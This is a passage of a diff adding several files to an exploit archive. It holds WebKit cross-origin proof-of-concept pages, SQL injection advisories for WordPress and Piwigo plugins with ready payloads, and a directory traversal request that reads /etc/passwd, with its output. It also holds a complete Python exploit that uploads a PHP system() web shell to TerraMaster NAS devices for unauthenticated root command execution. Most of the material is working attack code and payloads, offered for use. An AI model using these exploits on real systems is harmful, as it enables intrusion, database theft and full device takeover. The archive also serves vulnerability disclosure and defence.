Frame* openerFrame = m_frame->loader().opener();
|
||||||
|
|
||||||
|
Frame* ownerFrame = parentFrame;
|
||||||
|
if (!ownerFrame)
|
||||||
|
ownerFrame = openerFrame;
|
||||||
|
|
||||||
|
if (!ownerFrame) {
|
||||||
|
didFailToInitializeSecurityOrigin();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
...
|
||||||
|
setCookieURL(ownerFrame->document()->cookieURL());
|
||||||
|
// We alias the SecurityOrigins to match Firefox, see Bug 15313
|
||||||
|
// https://bugs.webkit.org/show_bug.cgi?id=15313
|
||||||
|
setSecurityOriginPolicy(ownerFrame->document()->securityOriginPolicy());
|
||||||
|
...
|
||||||
|
}
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
<body>
|
||||||
|
Click anywhere.
|
||||||
|
<script>
|
||||||
|
|
||||||
|
window.onclick = () => {
|
||||||
|
window.onclick = null;
|
||||||
|
|
||||||
|
let w = open('about:blank', '', 'width=500, height=500');
|
||||||
|
w.eval(`
|
||||||
|
let f = document.body.appendChild(document.createElement('iframe'));
|
||||||
|
f.contentWindow.name = 'zzz';
|
||||||
|
opener.open('about:blank', 'zzz');
|
||||||
|
|
||||||
|
function navigate(w, url, cb = null) {
|
||||||
|
w.__check = true;
|
||||||
|
|
||||||
|
let a = w.document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.click();
|
||||||
|
|
||||||
|
if (!cb)
|
||||||
|
return;
|
||||||
|
|
||||||
|
let it = setInterval(() => {
|
||||||
|
let navigated = false;
|
||||||
|
try {
|
||||||
|
if (!w.__check)
|
||||||
|
navigated = true;
|
||||||
|
} catch (e) {
|
||||||
|
navigated = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (navigated) {
|
||||||
|
clearInterval(it);
|
||||||
|
cb();
|
||||||
|
}
|
||||||
|
}, 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
navigate(opener, 'https://abc.xyz/', () => {
|
||||||
|
f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';
|
||||||
|
f.contentWindow.onbeforeunload = () => {
|
||||||
|
f.contentWindow.onbeforeunload = null;
|
||||||
|
|
||||||
|
navigate(window, 'about:blank');
|
||||||
|
};
|
||||||
|
|
||||||
|
navigate(f.contentWindow, 'about:srcdoc');
|
||||||
|
});`);
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
83
platforms/multiple/webapps/42106.html
Executable file
83
platforms/multiple/webapps/42106.html
Executable file
|
@ -0,0 +1,83 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1197
|
||||||
|
|
||||||
|
This is similar to the case https://bugs.chromium.org/p/project-zero/issues/detail?id=1151.
|
||||||
|
But this time, javascript handlers may be fired in FrameLoader::open.
|
||||||
|
|
||||||
|
void FrameLoader::open(CachedFrameBase& cachedFrame)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called.
|
||||||
|
...
|
||||||
|
}
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
Click anywhere...
|
||||||
|
<script>
|
||||||
|
|
||||||
|
function createURL(data, type = 'text/html') {
|
||||||
|
return URL.createObjectURL(new Blob([data], {type: type}));
|
||||||
|
}
|
||||||
|
|
||||||
|
function navigate(w, url) {
|
||||||
|
let a = w.document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.click();
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onclick = () => {
|
||||||
|
window.w = open('about:blank', 'w', 'width=500, height=500');
|
||||||
|
|
||||||
|
let i0 = w.document.body.appendChild(document.createElement('iframe'));
|
||||||
|
let i1 = w.document.body.appendChild(document.createElement('iframe'));
|
||||||
|
i0.contentWindow.onbeforeunload = () => {
|
||||||
|
i0.contentWindow.onbeforeunload = null;
|
||||||
|
|
||||||
|
navigate(w, 'about:blank');
|
||||||
|
};
|
||||||
|
|
||||||
|
navigate(i0.contentWindow, createURL(`
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
</scrip` + 't></body>'));
|
||||||
|
|
||||||
|
setTimeout(() => {
|
||||||
|
let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
|
||||||
|
let x = new g.contentWindow.XMLHttpRequest();
|
||||||
|
x.onabort = () => {
|
||||||
|
parseFloat('axfasdfasfdsfasfsfasdf');
|
||||||
|
i0.contentDocument.write();
|
||||||
|
|
||||||
|
navigate(w, 'https://abc.xyz/');
|
||||||
|
|
||||||
|
showModalDialog(createURL(`
|
||||||
|
<script>
|
||||||
|
let it = setInterval(() => {
|
||||||
|
try {
|
||||||
|
opener.w.document.x;
|
||||||
|
} catch (e) {
|
||||||
|
clearInterval(it);
|
||||||
|
window.close();
|
||||||
|
}
|
||||||
|
}, 10);
|
||||||
|
</scrip` + 't>'));
|
||||||
|
|
||||||
|
setTimeout(() => {
|
||||||
|
i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
|
||||||
|
navigate(i1.contentWindow, 'about:srcdoc');
|
||||||
|
}, 10);
|
||||||
|
};
|
||||||
|
|
||||||
|
x.open('GET', createURL('x'.repeat(0x1000000)));
|
||||||
|
x.send();
|
||||||
|
w.history.go(-2);
|
||||||
|
}, 200);
|
||||||
|
};
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
82
platforms/multiple/webapps/42107.html
Executable file
82
platforms/multiple/webapps/42107.html
Executable file
|
@ -0,0 +1,82 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1163
|
||||||
|
|
||||||
|
Here's a snippet of Document::prepareForDestruction
|
||||||
|
|
||||||
|
void Document::prepareForDestruction()
|
||||||
|
{
|
||||||
|
if (m_hasPreparedForDestruction)
|
||||||
|
return;
|
||||||
|
...
|
||||||
|
detachFromFrame();
|
||||||
|
|
||||||
|
m_hasPreparedForDestruction = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|.
|
||||||
|
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
<body>
|
||||||
|
Click anywhere.
|
||||||
|
<script>
|
||||||
|
function createURL(data, type = 'text/html') {
|
||||||
|
return URL.createObjectURL(new Blob([data], {type: type}));
|
||||||
|
}
|
||||||
|
|
||||||
|
function waitFor(check, cb) {
|
||||||
|
let it = setInterval(() => {
|
||||||
|
if (check()) {
|
||||||
|
clearInterval(it);
|
||||||
|
cb();
|
||||||
|
}
|
||||||
|
}, 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onclick = () => {
|
||||||
|
window.onclick = null;
|
||||||
|
|
||||||
|
w = open(createURL(''), '', 'width=500, height=500');
|
||||||
|
w.onload = () => {
|
||||||
|
setTimeout(() => {
|
||||||
|
let f = w.document.body.appendChild(document.createElement('iframe'));
|
||||||
|
f.contentWindow.onunload = () => {
|
||||||
|
f.contentWindow.onunload = null;
|
||||||
|
|
||||||
|
w.__defineGetter__('navigator', () => new Object());
|
||||||
|
|
||||||
|
let a = w.document.createElement('a');
|
||||||
|
a.href = 'about:blank';
|
||||||
|
a.click();
|
||||||
|
|
||||||
|
setTimeout(() => {
|
||||||
|
w.history.back();
|
||||||
|
setTimeout(() => {
|
||||||
|
let d = w.document;
|
||||||
|
w.location = 'javascript:' + encodeURI(`"<script>location = 'https://abc.xyz/';</scrip` + `t>"`);
|
||||||
|
|
||||||
|
let it = setInterval(() => {
|
||||||
|
try {
|
||||||
|
w.xxxx;
|
||||||
|
} catch (e) {
|
||||||
|
clearInterval(it);
|
||||||
|
|
||||||
|
let a = d.createElement('a');
|
||||||
|
a.href = 'javascript:alert(location);';
|
||||||
|
a.click();
|
||||||
|
}
|
||||||
|
}, 10);
|
||||||
|
}, 100);
|
||||||
|
}, 100);
|
||||||
|
};
|
||||||
|
|
||||||
|
w.location = 'javascript:""';
|
||||||
|
}, 0);
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
122
platforms/php/webapps/42082.txt
Executable file
122
platforms/php/webapps/42082.txt
Executable file
|
@ -0,0 +1,122 @@
|
||||||
|
DefenseCode ThunderScan SAST Advisory
|
||||||
|
WordPress Huge-IT Video Gallery Plugin
|
||||||
|
Security Vulnerability
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: DC-2017-01-009
|
||||||
|
Advisory Title: WordPress Huge-IT Video Gallery plugin SQL injection
|
||||||
|
vulnerability
|
||||||
|
Advisory URL: http://www.defensecode.com/advisories.php
|
||||||
|
Software: WordPress Huge-IT Video Gallery plugin
|
||||||
|
Language: PHP
|
||||||
|
Version: 2.0.4 and below
|
||||||
|
Vendor Status: Vendor contacted, update released
|
||||||
|
Release Date: 2017/05/24
|
||||||
|
Risk: High
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1. General Overview
|
||||||
|
===================
|
||||||
|
During the security audit of Huge-IT Video Gallery plugin for
|
||||||
|
WordPress CMS, security vulnerability was discovered using DefenseCode
|
||||||
|
ThunderScan application source code security analysis platform.
|
||||||
|
|
||||||
|
More information about ThunderScan is available at URL:
|
||||||
|
http://www.defensecode.com
|
||||||
|
|
||||||
|
|
||||||
|
2. Software Overview
|
||||||
|
====================
|
||||||
|
According to the developers, Gallery Video plugin was created and
|
||||||
|
specifically designed to show video links in unusual splendid gallery
|
||||||
|
types supplemented of many gallery options.
|
||||||
|
|
||||||
|
According to wordpress.org, it has more than 40,000 active installs.
|
||||||
|
|
||||||
|
Homepage:
|
||||||
|
https://wordpress.org/plugins/gallery-video/
|
||||||
|
http://huge-it.com/wordpress-video-gallery/
|
||||||
|
|
||||||
|
|
||||||
|
3. Vulnerability Description
|
||||||
|
==================================
|
||||||
|
During the security analysis, ThunderScan discovered SQL injection
|
||||||
|
vulnerability in Huge-IT Video Gallery WordPress plugin.
|
||||||
|
|
||||||
|
The easiest way to reproduce the vulnerability is to visit the
|
||||||
|
provided URL while being logged in as administrator or another user
|
||||||
|
that is authorized to access the plugin settings page. Users that do
|
||||||
|
not have full administrative privileges could abuse the database
|
||||||
|
access the vulnerability provides to either escalate their privileges
|
||||||
|
or obtain and modify database contents they were not supposed to be
|
||||||
|
able to.
|
||||||
|
|
||||||
|
Due to the missing nonce token, the attacker the vulnerable code is
|
||||||
|
also directly exposed to attack vectors such as Cross Site request
|
||||||
|
forgery (CSRF).
|
||||||
|
|
||||||
|
3.1 SQL injection
|
||||||
|
Vulnerable Function: $wpdb->get_var( $query );
|
||||||
|
Vulnerable Variable: $_POST['cat_search']
|
||||||
|
Vulnerable URL:
|
||||||
|
http://www.vulnerablesite.com/wp-admin/admin.php?page=video_galleries_huge_it_video_gallery
|
||||||
|
Vulnerable Body: cat_search=DefenseCode AND (SELECT * FROM (SELECT(SLEEP(5)))DC)
|
||||||
|
File:
|
||||||
|
gallery-video\includes\admin\class-gallery-video-galleries.php
|
||||||
|
---------
|
||||||
|
107 $cat_id = sanitize_text_field( $_POST['cat_search'] );
|
||||||
|
...
|
||||||
|
118 $where .= " AND sl_width=" . $cat_id;
|
||||||
|
...
|
||||||
|
127 $query = "SELECT COUNT(*) FROM " . $wpdb->prefix .
|
||||||
|
"huge_it_videogallery_galleries" . $where;
|
||||||
|
128 $total = $wpdb->get_var( $query );
|
||||||
|
---------
|
||||||
|
|
||||||
|
|
||||||
|
4. Solution
|
||||||
|
===========
|
||||||
|
Vendor resolved the security issues. All users are strongly advised to
|
||||||
|
update WordPress Huge-IT Video Gallery plugin to the latest available
|
||||||
|
version.
|
||||||
|
|
||||||
|
|
||||||
|
5. Credits
|
||||||
|
==========
|
||||||
|
Discovered with DefenseCode ThunderScan Source Code Security Analyzer
|
||||||
|
by Neven Biruski.
|
||||||
|
|
||||||
|
|
||||||
|
6. Disclosure Timeline
|
||||||
|
======================
|
||||||
|
2017/03/31 Vendor contacted
|
||||||
|
2017/04/06 Vendor responded
|
||||||
|
2017/05/24 Advisory released to the public
|
||||||
|
|
||||||
|
|
||||||
|
7. About DefenseCode
|
||||||
|
====================
|
||||||
|
DefenseCode L.L.C. delivers products and services designed to analyze
|
||||||
|
and test web, desktop and mobile applications for security
|
||||||
|
vulnerabilities.
|
||||||
|
|
||||||
|
DefenseCode ThunderScan is a SAST (Static Application Security
|
||||||
|
Testing, WhiteBox Testing) solution for performing extensive security
|
||||||
|
audits of application source code. ThunderScan SAST performs fast and
|
||||||
|
accurate analyses of large and complex source code projects delivering
|
||||||
|
precise results and low false positive rate.
|
||||||
|
|
||||||
|
DefenseCode WebScanner is a DAST (Dynamic Application Security
|
||||||
|
Testing, BlackBox Testing) solution for comprehensive security audits
|
||||||
|
of active web applications. WebScanner will test a website's security
|
||||||
|
by carrying out a large number of attacks using the most advanced
|
||||||
|
techniques, just as a real attacker would.
|
||||||
|
|
||||||
|
Subscribe for free software trial on our website
|
||||||
|
http://www.defensecode.com/ .
|
||||||
|
|
||||||
|
E-mail: defensecode[at]defensecode.com
|
||||||
|
|
||||||
|
Website: http://www.defensecode.com
|
||||||
|
Twitter: https://twitter.com/DefenseCode/
|
42
platforms/php/webapps/42093.py
Executable file
42
platforms/php/webapps/42093.py
Executable file
|
@ -0,0 +1,42 @@
|
||||||
|
# Source: https://www.evilsocket.net/2017/05/30/Terramaster-NAS-Unauthenticated-RCE-as-root/
|
||||||
|
|
||||||
|
#!/usr/bin/python
|
||||||
|
# coding: utf8
|
||||||
|
#
|
||||||
|
# Exploit: Unauthenticated RCE as root.
|
||||||
|
# Vendor: TerraMaster
|
||||||
|
# Product: TOS <= 3.0.30 (running on every NAS)
|
||||||
|
# Author: Simone 'evilsocket' Margaritelli <evilsocket@protonmail.com>
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
def upload( address, port, filename, path = '/usr/www/' ):
|
||||||
|
url = "http://%s:%d/include/upload.php?targetDir=%s" % ( address, port, path )
|
||||||
|
try:
|
||||||
|
files = { 'file': open( filename, 'rb' ) }
|
||||||
|
cookies = { 'kod_name': '1' } # LOL :D
|
||||||
|
r = requests.post(url, files=files, cookies=cookies)
|
||||||
|
if r.text != '{"jsonrpc" : "2.0", "result" : null, "id" : "id"}':
|
||||||
|
print "! Unexpected response, exploit might not work:\n%s\n" % r.text
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
print "\n! ERROR: %s" % e
|
||||||
|
return False
|
||||||
|
def rce( address, port, command ):
|
||||||
|
with open( '/tmp/p.php', 'w+t' ) as fp:
|
||||||
|
fp.write( "<?php system('%s'); ?>" % command )
|
||||||
|
if upload( address, port, '/tmp/p.php' ) == True:
|
||||||
|
try:
|
||||||
|
url = "http://%s:%d/p.php" % ( address, port )
|
||||||
|
return requests.get(url).text
|
||||||
|
except Exception as e:
|
||||||
|
print "\n! ERROR: %s" % e
|
||||||
|
return None
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print "Usage: exploit.py <ip|hostname> <command> (port=8181)\n"
|
||||||
|
quit()
|
||||||
|
target = sys.argv[1]
|
||||||
|
command = sys.argv[2]
|
||||||
|
port = 8181 if len(sys.argv) < 4 else int(sys.argv[3])
|
||||||
|
out = rce( target, port, command )
|
||||||
|
if out is not None:
|
||||||
|
print out.strip()
|
152
platforms/php/webapps/42094.txt
Executable file
152
platforms/php/webapps/42094.txt
Executable file
|
@ -0,0 +1,152 @@
|
||||||
|
# Exploit Title: Facetag Extension in Piwigo, Multiple SQL injection
|
||||||
|
# Date: 30-05-2017
|
||||||
|
# Extension Version: 0.0.3
|
||||||
|
# Software Link: http://piwigo.org/basics/downloads
|
||||||
|
# Extension link : http://piwigo.org/ext/extension_view.php?eid=845
|
||||||
|
# Exploit Author: Touhid M.Shaikh
|
||||||
|
# Contact: http://twitter.com/touhidshaikh22
|
||||||
|
# Website: http://touhidshaikh.com/
|
||||||
|
# Category: webapps
|
||||||
|
|
||||||
|
|
||||||
|
######## Description ########
|
||||||
|
<!--
|
||||||
|
What is Piwigo ?
|
||||||
|
Piwigo is photo gallery software for the web, built by an active community of users and developers.Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and open source.
|
||||||
|
|
||||||
|
Facetag Extension in piwigo.
|
||||||
|
This plugin extends piwigo with the function to tag faces in pictures. It adds an additional button on photo pages that let you tag a face on the picture.
|
||||||
|
-->
|
||||||
|
|
||||||
|
######## Video PoC and Article ########
|
||||||
|
|
||||||
|
https://www.youtube.com/watch?v=MVCe_zYtFsQ
|
||||||
|
http://touhidshaikh.com/blog/poc/facetag-extension-piwigo-sqli/
|
||||||
|
|
||||||
|
|
||||||
|
######## Attact Description ########
|
||||||
|
<!--
|
||||||
|
|
||||||
|
Piwigo's Facetag Extention have multiple SQL injection.
|
||||||
|
|
||||||
|
Facetag Extention provide additional button on photo page for visitor or user to tag any name oh that image.
|
||||||
|
|
||||||
|
Affected Method : 1) facetag.changeTag
|
||||||
|
2) facetag.listTags
|
||||||
|
|
||||||
|
1) facetag.changeTag
|
||||||
|
===>When we gave any tag name to photo, That time our request send by POST method to
|
||||||
|
server and directly interpret in server's database.Our POST request contain some perameter like (id,imageId,name etc)
|
||||||
|
Affected parameter: imageId=
|
||||||
|
|
||||||
|
2) facetag.listTags
|
||||||
|
===>When we visit any image on server. facetag.listTags method pass on ws.php file with imageId= parameter and fetch facetag name in json format.
|
||||||
|
Affectd parameter : imageId=
|
||||||
|
|
||||||
|
|
||||||
|
NOTE : "www.test.touhid" this domain not registed on internet. This domain host in touhid's local machine.
|
||||||
|
-->
|
||||||
|
|
||||||
|
######## Proof of Concept ########
|
||||||
|
|
||||||
|
Any visitor or registed user can perform this.
|
||||||
|
|
||||||
|
|
||||||
|
1) facetag.changeTag (Target parameter : imageId=14')
|
||||||
|
<!-- ---------------------OUR REQUEST ---------------------- -->
|
||||||
|
|
||||||
|
POST /ws.php?format=json&method=facetag.changeTag HTTP/1.1
|
||||||
|
Host: www.test.touhid
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Referer: http://www.test.touhid/picture.php?/14/category/3
|
||||||
|
Content-Length: 93
|
||||||
|
Cookie: pwg_id=528jktu99quilhjjk6iapa1nv4
|
||||||
|
Connection: close
|
||||||
|
Pragma: no-cache
|
||||||
|
Cache-Control: no-cache
|
||||||
|
|
||||||
|
id=-1&imageId=14'&name=touhid&top=0.1280807957504735&left=0.5839646464646465&width=0&height=0
|
||||||
|
|
||||||
|
<!-- ---------------------Ends REQUEST facetag.changeTag ---------------------- -->
|
||||||
|
|
||||||
|
########### Response ############
|
||||||
|
|
||||||
|
<!-- --------------------- RESPONSE ---------------------- -->
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Date: Tue, 30 May 2017 14:00:43 GMT
|
||||||
|
Server: Apache/2.4.25 (Debian)
|
||||||
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||||
|
Cache-Control: no-store, no-cache, must-revalidate
|
||||||
|
Pragma: no-cache
|
||||||
|
Vary: Accept-Encoding
|
||||||
|
Content-Length: 1097
|
||||||
|
Connection: close
|
||||||
|
Content-Type: text/plain; charset=utf-8
|
||||||
|
|
||||||
|
<pre><br />
|
||||||
|
<b>Warning</b>: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\', 15)' at line 1
|
||||||
|
INSERT IGNORE INTO piwigo_image_tag (`image_id`, `tag_id`) VALUES (14\', 15); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
|
||||||
|
</pre><pre><br />
|
||||||
|
<b>Warning</b>: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\', 15, 0.1280807957504735, 0.5839646464646465, 0, 0) ON DUPLICATE KEY UPDATE `t' at line 1
|
||||||
|
INSERT INTO `piwigo_image_facetag` (`image_id`, `tag_id`, `top`, `left`, `width`, `height`) VALUES (14\', 15, 0.1280807957504735, 0.5839646464646465, 0, 0) ON DUPLICATE KEY UPDATE `top` = VALUES(`top`), `left` = VALUES(`left`), `width` = VALUES(`width`), `height` = VALUES(`height`); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
|
||||||
|
</pre>{"stat":"ok","result":"{\"action\":\"INSERT\",\"id\":\"15\"}"}
|
||||||
|
|
||||||
|
<!-- --------------------- END RESPONSE ---------------------- -->
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
2) facetag.listTags (Target parameter : imageId=-1')
|
||||||
|
|
||||||
|
<!-- --------------------- OUR REQUEST ---------------------- -->
|
||||||
|
POST /ws.php?format=json&method=facetag.listTags HTTP/1.1
|
||||||
|
Host: www.test.touhid
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Referer: http://www.test.touhid/picture.php?/14/category/3
|
||||||
|
Content-Length: 10
|
||||||
|
Cookie: pwg_id=528jktu99quilhjjk6iapa1nv4
|
||||||
|
Connection: close
|
||||||
|
Pragma: no-cache
|
||||||
|
Cache-Control: no-cache
|
||||||
|
|
||||||
|
imageId=-1'
|
||||||
|
<!-- --------------------- ENDs OUR REQUEST ---------------------- -->
|
||||||
|
|
||||||
|
|
||||||
|
########### Response ############
|
||||||
|
<!-- --------------------- RESPONSE ---------------------- -->
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Date: Tue, 30 May 2017 14:10:32 GMT
|
||||||
|
Server: Apache/2.4.25 (Debian)
|
||||||
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||||
|
Cache-Control: no-store, no-cache, must-revalidate
|
||||||
|
Pragma: no-cache
|
||||||
|
Vary: Accept-Encoding
|
||||||
|
Content-Length: 1695
|
||||||
|
Connection: close
|
||||||
|
Content-Type: text/html; charset=UTF-8
|
||||||
|
|
||||||
|
<pre><br />
|
||||||
|
<b>Warning</b>: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' AND EXISTS (SELECT 1 FROM piwigo_image_tag imgTag WHERE imgTag.`image_id` = i' at line 1
|
||||||
|
SELECT imgFaceTag.`tag_id`, imgFaceTag.`top`, imgFaceTag.`left`, imgFaceTag.`width`, imgFaceTag.`height`, tags.`name` FROM `piwigo_image_facetag` imgFaceTag , piwigo_tags tags WHERE imgFaceTag.`tag_id` = tags.`id` AND imgFaceTag.`image_id` = -1\' AND EXISTS (SELECT 1 FROM piwigo_image_tag imgTag WHERE imgTag.`image_id` = imgFaceTag.`image_id` AND imgTag.`tag_id` = imgFaceTag.`tag_id`); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
|
||||||
|
</pre><br />
|
||||||
|
<b>Fatal error</b>: Uncaught Error: Call to a member function fetch_assoc() on boolean in /var/www/test/include/dblayer/functions_mysqli.inc.php:226
|
||||||
|
Stack trace:
|
||||||
|
#0 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(48): pwg_db_fetch_assoc(false)
|
||||||
|
#1 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(43): queryResult2Array(false)
|
||||||
|
#2 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(26): getImageFaceTags('-1\\'')
|
||||||
|
#3 /var/www/test/include/ws_core.inc.php(608): facetag_listTags(Array, Object(PwgServer))
|
||||||
|
#4 /var/www/test/include/ws_protocols/rest_handler.php(56): PwgServer->invoke('facetag.listTag...', Array)
|
||||||
|
#5 /var/www/test/include/ws_core.inc.php(296): PwgRestRequestHandler->handleRequest(Object(PwgServer))
|
||||||
|
#6 /var/www/test/ws.php(94): PwgServer->run()
|
||||||
|
#7 {main}
|
||||||
|
thrown in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>226</b><br />
|
||||||
|
<!-- --------------------- Ends RESPONSE here---------------------- -->
|
118
platforms/php/webapps/42095.txt
Executable file
118
platforms/php/webapps/42095.txt
Executable file
|
@ -0,0 +1,118 @@
|
||||||
|
OV3 Online Administration 3.0 Parameter Traversal Arbitrary File Access PoC Exploit
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: novaCapta Software & Consulting GmbH
|
||||||
|
Product web page: http://www.meacon.de
|
||||||
|
Affected version: 3.0
|
||||||
|
|
||||||
|
Summary: With the decision to use the OV3 as a platform for your data management,
|
||||||
|
the course is set for scalable, flexible and high-performance applications. Whether
|
||||||
|
you use the OV3 for your internal data management or use it for commercial business
|
||||||
|
applications such as shops, portals, etc. Thanks to the data-based structure of the
|
||||||
|
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
|
||||||
|
tool. This eliminates the need to install a new software on all participating client
|
||||||
|
computers. All elements are operated by a standard browser. Further advantages are
|
||||||
|
the location-dependent use and - particularly with ASP solutions - the reduced costs
|
||||||
|
for local hardware like own servers and modern client workstations.
|
||||||
|
|
||||||
|
Desc: The application (Online Verwaltung III) suffers from an unauthenticated file
|
||||||
|
disclosure vulnerability when input passed thru the 'file' parameter to 'download.php'
|
||||||
|
script is not properly verified before being used to include files. This can be exploited
|
||||||
|
to read arbitrary files from local resources with directory traversal attacks.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
/download.php:
|
||||||
|
--------------
|
||||||
|
|
||||||
|
67: header("Expires: Mon, 1 Apr 1990 00:00:00 GMT");
|
||||||
|
68: header("Last-Modified: " . gmdate("D,d M YH:i:s") . " GMT");
|
||||||
|
69: /*
|
||||||
|
70: header("Cache-Control: no-cache, must-revalidate");
|
||||||
|
71: header("Pragma: no-cache");
|
||||||
|
72: */
|
||||||
|
73: header("Pragma: ");
|
||||||
|
74: header("Cache-Control: ");
|
||||||
|
75: header("Content-type: application/octet-stream");
|
||||||
|
76: header("Content-Type: application/force-download");
|
||||||
|
77: $dname = rawurlencode($name);
|
||||||
|
78: header("Content-Disposition: attachment; filename=\"$dname\";");
|
||||||
|
79:
|
||||||
|
80: if ($export==1) {
|
||||||
|
81: if (is_file($path.'/'.$file)) {
|
||||||
|
82: header('Content-Length: '.filesize($path.'/'.$file));
|
||||||
|
83: readfile($path.'/'.$file);
|
||||||
|
84: } elseif (is_file(utf8_decode($path.'/'.$file))) {
|
||||||
|
85: header('Content-Length: '.filesize(utf8_decode($path.'/'.$file)));
|
||||||
|
86: readfile(utf8_decode($path.'/'.$file));
|
||||||
|
87: }
|
||||||
|
88: }
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
|
||||||
|
Tested on: CentOS release 6.8 (Final)
|
||||||
|
PHP/5.3.3
|
||||||
|
Apache/2.2.15
|
||||||
|
MySQL/5.0.11
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5410
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5410.php
|
||||||
|
|
||||||
|
|
||||||
|
26.12.2016
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
GET /download.php?c_id=557&file=../../../../../../../../../../../etc/passwd&name=download.txt HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: ZSL/3.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Accept-Encoding: gzip, deflate, sdch
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
DNT: 1
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Date: Tue, 27 Dec 2016 12:24:10 GMT
|
||||||
|
Server: Apache/2.2.15 (CentOS)
|
||||||
|
X-Powered-By: PHP/5.3.3
|
||||||
|
Expires: Mon, 1 Apr 1990 00:00:00 GMT
|
||||||
|
Last-Modified: Tue,27 Dec 201612:24:10 GMT
|
||||||
|
Pragma:
|
||||||
|
Cache-Control:
|
||||||
|
Content-Disposition: attachment; filename="download.txt";
|
||||||
|
Content-Length: 0
|
||||||
|
Connection: close
|
||||||
|
Content-Type: application/force-download
|
||||||
|
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
bin:x:1:1:bin:/bin:/sbin/nologin
|
||||||
|
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
||||||
|
adm:x:3:4:adm:/var/adm:/sbin/nologin
|
||||||
|
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
|
||||||
|
sync:x:5:0:sync:/sbin:/bin/sync
|
||||||
|
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
|
||||||
|
...
|
||||||
|
...
|
